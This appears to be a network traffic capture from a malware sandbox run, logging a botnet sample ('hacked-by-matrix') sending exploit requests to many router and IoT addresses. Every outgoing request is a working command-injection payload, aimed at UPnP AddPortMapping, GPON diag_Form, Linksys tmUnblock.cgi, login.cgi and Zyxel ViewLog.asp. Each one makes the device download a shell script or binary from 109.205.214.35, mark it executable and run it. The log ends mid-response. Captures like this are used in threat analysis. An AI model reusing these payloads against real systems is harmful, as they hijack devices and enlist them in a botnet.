Mar 21, 2024 05:18:22.837687016 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.23	45210	2.64.211.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.133618116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.23	43408	178.120.183.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.133618116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.23	54562	178.16.128.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.133690119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.23	36238	37.230.188.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.133698940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.23	43868	210.2.13.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.133734941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.23	46986	118.82.92.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.133876085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.23	47396	101.33.24.38	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.144996881 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:40.347595930 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.23	42730	180.134.157.89	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.210221052 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:36.493483067 CET	294	IN	HTTP/1.0 501 Not Implemented Date: Thu, 21 Mar 2024 04:17:28 GMT Server: Boa/0.93.15 Connection: close Content-Type: text/html Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 50 4f 53 54 20 74 6f 20 6e 6f 6e 2d 73 63 72 69 70 74 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 69 6e 20 42 6f 61 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>POST to non-script is not supported in Boa.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.23	53302	212.129.21.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.361768007 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:36.528997898 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:36 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.23	53338	212.129.21.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.340200901 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:38.203838110 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:38.363533974 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:38 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:39.458697081 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:38 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.23	54050	206.119.43.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.343023062 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:37.514213085 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:37 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:37.514265060 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:37 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:37.862087011 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:37 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.23	36082	212.51.32.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:37.370112896 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:37.548386097 CET	943	IN	HTTP/1.1 200 OK Content-Length: 778 Connection: Close Cache-Control: no-cache Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 44 65 74 65 63 63 69 6f 6e 20 64 65 20 69 6e 74 72 75 73 69 6f 6e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 66 6f 6e 74 20 73 69 7a 65 3d 32 3e 0a 20 20 20 20 20 20 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 72 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 74 64 20 62 67 63 6f 6c 6f 72 3d 23 33 33 30 30 63 63 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 63 6f 6c 73 70 61 6e 3d 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 6c 6f 71 75 65 6f 20 64 65 20 61 63 63 65 73 6f 20 70 6f 72 20 73 6f 73 70 65 63 68 61 20 64 65 20 69 6e 74 72 75 73 69 6f 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 62 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 6e 74 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 74 64 3e 0a 20 20 20 20 20 20 20 20 3c 2f 74 72 3e 0a 20 20 20 20 20 20 3c 2f 74 61 62 6c 65 3e 0a 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 45 6c 20 61 63 63 65 73 6f 20 61 20 